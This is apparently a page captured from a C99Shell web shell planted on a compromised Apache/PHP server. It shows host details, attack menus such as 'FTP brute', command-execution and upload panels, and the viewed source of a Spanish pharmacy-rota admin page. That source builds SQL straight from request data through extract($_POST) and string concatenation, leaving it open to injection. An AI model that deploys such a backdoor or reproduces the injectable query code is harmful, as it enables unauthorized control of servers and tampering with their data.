!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.3.29 

uname -a: Linux tardis23.nocplanet.net 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024
x86_64
 

 

Safe-mode: OFF (not secure)

/home/memoriacel/public_html/2018/panel/   drwxr-xr-x
Free 985.27 GB of 1859.98 GB (52.97%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     asignar-farmacias.php (12.09 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
$pagina_actual
="asignar-farmacias";
$categoria_actual="farmacias";
require_once(
"includes/config.php");
require_once(
"includes/funciones.php");

if (isset(
$_GET["mes"])){
    
$mes=$_GET["mes"];
} else {
    
$mes=date("m");
}

if (isset(
$_GET["anio"])){
    
$anio=$_GET["anio"];
} else {
    
$anio=date("Y");
}

if (isset(
$_POST["mes"])){

    
extract($_POSTEXTR_SKIP);

    
$fecha_inicio=$anio."-".str_pad($mes,2,'0',STR_PAD_LEFT)."-01";
    if (
$mes=="12"){
        
$fecha_fin=($anio+1)."-"."01"."-01";
    } else {
        
$fecha_fin=$anio."-".str_pad($mes+1,2,'0',STR_PAD_LEFT)."-01";
    }

    
$result=$mysqli->query("
        DELETE FROM renglon_fecha_grupo_farmacias
        WHERE fecha BETWEEN '"
.$fecha_inicio."' AND '".$fecha_fin."'
    "
);

    foreach (
$_POST as $clave=>$valor){
        if (
$clave!='mes' && $clave!='anio'){
            
$result=$mysqli->query("
            INSERT INTO renglon_fecha_grupo_farmacias (fecha, grupo) VALUES (
            '"
.$clave."',
            '"
.$valor."'
            )
            "
);
        }
    }

    
header('Location: asignar-farmacias.php?mes='.$mes.'&anio='.$anio.'&exito=si');
}


$fecha_inicio=$anio."-".str_pad($mes,2,'0',STR_PAD_LEFT)."-01";
if (
$mes=="12"){
    
$fecha_fin=($anio+1)."-"."01"."-01";
} else {
    
$fecha_fin=$anio."-".(str_pad($mes+1,2,'0',STR_PAD_LEFT))."-01";
}

$farmacias_asignadas=array();

$iterador_fecha=$fecha_inicio;

while (
$iterador_fecha<=$fecha_fin){    
    
$farmacias_asignadas[$iterador_fecha]="";
    
$iterador_fecha=date('Y-m-d',strtotime($iterador_fecha "+1 days"));    
}

$grupos_asignados=$mysqli->query("
    SELECT fecha, grupo
    FROM renglon_fecha_grupo_farmacias
    WHERE fecha BETWEEN '"
.$fecha_inicio."' AND '".$fecha_fin."'
"
);

while (
$item mysqli_fetch_assoc($grupos_asignados)){
    
$farmacias_asignadas[$item["fecha"]]=$item["grupo"];
}

$farmacias=$mysqli->query("
    SELECT nombre, grupo
    FROM farmacia
"
);

$grupos=array();

while (
$item mysqli_fetch_assoc($farmacias)){
    if (!isset(
$grupos[$item["grupo"]])){
        
$grupos[$item["grupo"]]=$item["grupo"]." - ".utf8_encode($item["nombre"]);
    } else {
        
$grupos[$item["grupo"]].=" - ".utf8_encode($item["nombre"]);
    }
}

//print_r($grupos);

?><!DOCTYPE html>
<html lang="es">

<head>

    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="">
    <meta name="author" content="">

    <title>Panel administrador</title>
    
    <? include('includes/tipografias.php');?>

    <!-- Bootstrap Core CSS -->
    <link href="bower_components/bootstrap/dist/css/bootstrap.min.css" rel="stylesheet">

    <!-- MetisMenu CSS -->
    <link href="bower_components/metisMenu/dist/metisMenu.min.css" rel="stylesheet">

    <!-- include codemirror (codemirror.css, codemirror.js, xml.js, formatting.js)-->
    <link rel="stylesheet" type="text/css" href="summernote-master/css/codemirror.min.css" />
    <link rel="stylesheet" href="summernote-master/css/blackboard.min.css">
    <link rel="stylesheet" href="summernote-master/css/monokai.min.css">

    <!-- Custom CSS -->
    <link href="dist/css/sb-admin-2.css" rel="stylesheet">
    <link href="css/cds.css" rel="stylesheet" type="text/css">

    <!-- Custom Fonts -->
    <link href="bower_components/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">

    <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
    <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
    <!--[if lt IE 9]>
        <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
        <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
    <![endif]-->

</head>

<body>

    

    <div id="wrapper">

        <!-- Navigation -->
        <? require('includes/nav.php');?>

        <div id="page-wrapper">
            <div class="row">
                <div class="col-lg-12">
                    <h1 class="page-header"><?=capitalizar($categoria_actual)?></h1>
                </div>
                <!-- /.col-lg-12 -->
            </div>
            <div class="row">
                <div class="col-lg-12">
                    <div class="panel panel-default">
                        
                        <!-- /.panel-heading -->
                        <div class="panel-body">
                            <div class="">
                            
                                <? if (isset($_GET["exito"])){?>
                                <div class="alert alert-success alert-dismissable">
                                    <button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>        
                                    Cambios realizados con éxito
                                </div>
                                <? }?>
                                
                                <div class="the-box full no-border">
                                    <form role="form" action="">
                                        <div class="row">
                                            <div class="col-lg-4">
                                                <div class="form-group has-feedback no-label">
                                                    <select name="mes" class="form-control">
                                                        <? foreach ($months as $clave=>$valor){?>
                                                        <option <?=$mes==$clave+1?"selected":""?> value="<?=str_pad((int) ($clave+1),2,0,STR_PAD_LEFT);?>"><?=$valor?></option>
                                                        <? }?>
                                                    </select>                                                  
                                                </div>
                                            </div>
                                            <div class="col-lg-4">
                                                <div class="form-group has-feedback no-label">
                                                    <select name="anio" class="form-control">
                                                        <? for ($i=date("Y")+1;$i>=date("Y")-5;$i-- ){?>
                                                        <option <?=$anio==$i?"selected":""?> value="<?=$i?>"><?=$i?></option>
                                                        <? }?>
                                                    </select>                                                  
                                                </div>
                                            </div>
                                            <div class="col-lg-4">
                                                <div class="form-group has-feedback no-label">
                                                    <input type="submit" class="btn btn-success" value="Ir">
                                                </div>
                                            </div>
                                        </div>
                                    </form>
                                </div>

                                <form action="" method="post">

                                    <input type="hidden" name="mes" value="<?=$mes?>">
                                    <input type="hidden" name="anio" value="<?=$anio?>">


                                    <table class="table">
                                        <thead>
                                            <tr>
                                                <th>Fecha</th>
                                                <th>Grupo</th>
                                            </tr>
                                        </thead>
                                        <tbody>
                                        <? foreach ($farmacias_asignadas as $clave=>$valor){?>
                                            <tr>
                                                <td><?=ver_fecha_mysql_lindo($clave)?></td>   
                                                <td>
                                                    <select name="<?=$clave?>" class="form-control">
                                                        <option value="">-</option>
                                                        <? foreach ($grupos as $clave2=>$value2){?>
                                                        <option <?=$clave2==$valor?"selected":""?> value="<?=$clave2?>"><?=$value2?></option>
                                                        <? }?>
                                                    </select>
                                                </td>
                                            </tr>
                                        <? }?>
                                        </tbody>
                                    </table>


                                    <div class="form-group has-feedback no-label">
                                        <input type="submit" class="btn btn-success" value="Guardar cambios">
                                    </div>

                                </form>
                                
                                <!-- Default bootstrap modal example -->
                                <div class="modal fade" id="modal-acciones" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
                                  <div class="modal-dialog">
                                    <div class="modal-content">                                      
                                      
                                    </div>
                                  </div>
                                </div>                                
                                
                            </div>
                            <!-- /.table-responsive -->
                        </div>
                        <!-- /.panel-body -->
                    </div>
                    <!-- /.panel -->
                </div>
                <!-- /.col-lg-12 -->
            </div>
            <!-- /.row -->
        </div>
        <!-- /#page-wrapper -->

    </div>
    <!-- /#wrapper -->

    <!-- jQuery -->
    <script src="bower_components/jquery/dist/jquery.min.js"></script>

    <!-- Bootstrap Core JavaScript -->
    <script src="bower_components/bootstrap/dist/js/bootstrap.min.js"></script>

    <!-- Metis Menu Plugin JavaScript -->
    <script src="bower_components/metisMenu/dist/metisMenu.min.js"></script>

    <!-- Custom Theme JavaScript -->
    <script src="dist/js/sb-admin-2.js"></script>
    
    <script>
    // Fill modal with content from link href
    $("#modal-acciones").on("show.bs.modal", function(e) {
        var link = $(e.relatedTarget);
        $(this).find(".modal-content").load(link.attr("href"), function() {    
            /*
            $('.summernote').summernote({
                height: 200,
                tabsize: 2,
                codemirror: {
                  theme: 'monokai'
                }
            });
*/
            $('.summernote').summernote({
              height: 200,
              tabsize: 2,
              codemirror: {
                theme: 'monokai'
              },
              toolbar: [
                //[groupname, [button list]]
                 
                ['style', ['bold', 'italic', 'underline', 'clear']],
                ['font', ['strikethrough']],
                ['color', ['color']],
                ['para', ['ul', 'ol', 'paragraph']],
                ['insert', ['link']],
                ['misc', ['undo','redo','fullscreen']],
              ]
            });
        });
    });            
    </script>

    <!-- include codemirror (codemirror.css, codemirror.js, xml.js, formatting.js)-->
    <script type="text/javascript" src="summernote-master/js/codemirror.js"></script>
    <script src="summernote-master/js/xml.min.js"></script>
    <script src="summernote-master/js/formatting.min.js"></script>

    <!-- include summernote -->
    <link rel="stylesheet" href="summernote-master/dist/summernote.css">
    <script type="text/javascript" src="summernote-master/dist/summernote.js"></script>

</body>

</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0013 ]--